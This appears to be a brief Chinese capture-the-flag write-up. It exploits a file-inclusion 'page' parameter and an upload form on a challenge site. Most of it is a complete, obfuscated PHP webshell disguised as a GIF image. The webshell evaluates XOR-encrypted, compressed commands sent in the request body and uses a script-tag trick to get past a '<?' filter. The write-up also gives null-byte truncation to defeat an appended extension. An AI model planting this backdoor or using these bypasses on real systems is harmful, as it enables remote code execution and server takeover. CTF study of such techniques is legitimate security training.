简单分析一下题目,URL里的page参数存在文件包含,Submit页面可以文件提交
第一步构造图片马(存在<?的过滤所以不能使用<?php)
GIF89a
<script language="php">
$o='m`atc`h("/$kh(.+)$kf/",@f`ile_ge``t`_cont`ents`("php://input"),$m)=`=1){@o`b`_star`t()';
$y=';@`eva`l(@gzun`compress(@x(@b`ase64_d`ecod`e($m[`1]`),$k)));$o=@o`b_ge`t_conte`nt`s';
$X='`();@ob_`end_clean()`;$r=@base``64_encod``e(@x(@`gzcompres`s($o),$k));`pr`int("$`p$kh$r$kf");}';
$H='$k`=`"d`78b6f`30";$kh="225cdc8`11adf";`$kf="e8`d4e7c9fd3``4";$p="KBeAE`JN0yt`Bx`GSn';
$n='P";func``tion x($t,$k)`{$`c`=strl`en($k);$l=strlen``($t);$o=`"";f`or($i`=0;$i<`$l`;){fo';
$a=str_replace('eR','','eRcreReeRate_fueReRncteRion');
$q='r(`$j=0;`(`$j<$c`&&$i<$l);$j++,$i++){$o`.`=`$t{`$i}^$k{$j}`;}}retu`rn $o;`}if(@p`reg_';
$Y=str_replace('`','',$H.$n.$q.$o.$y.$X);
$v=$a('',$Y);$v();
</script>
上传后得到文件ID,在View页面访问得到文件全名
使用Page参数进行文件包含发现会自动在参数后面加.php
使用%00截断访问,直接得到了flag(有点奇怪,我都还没连上马呢)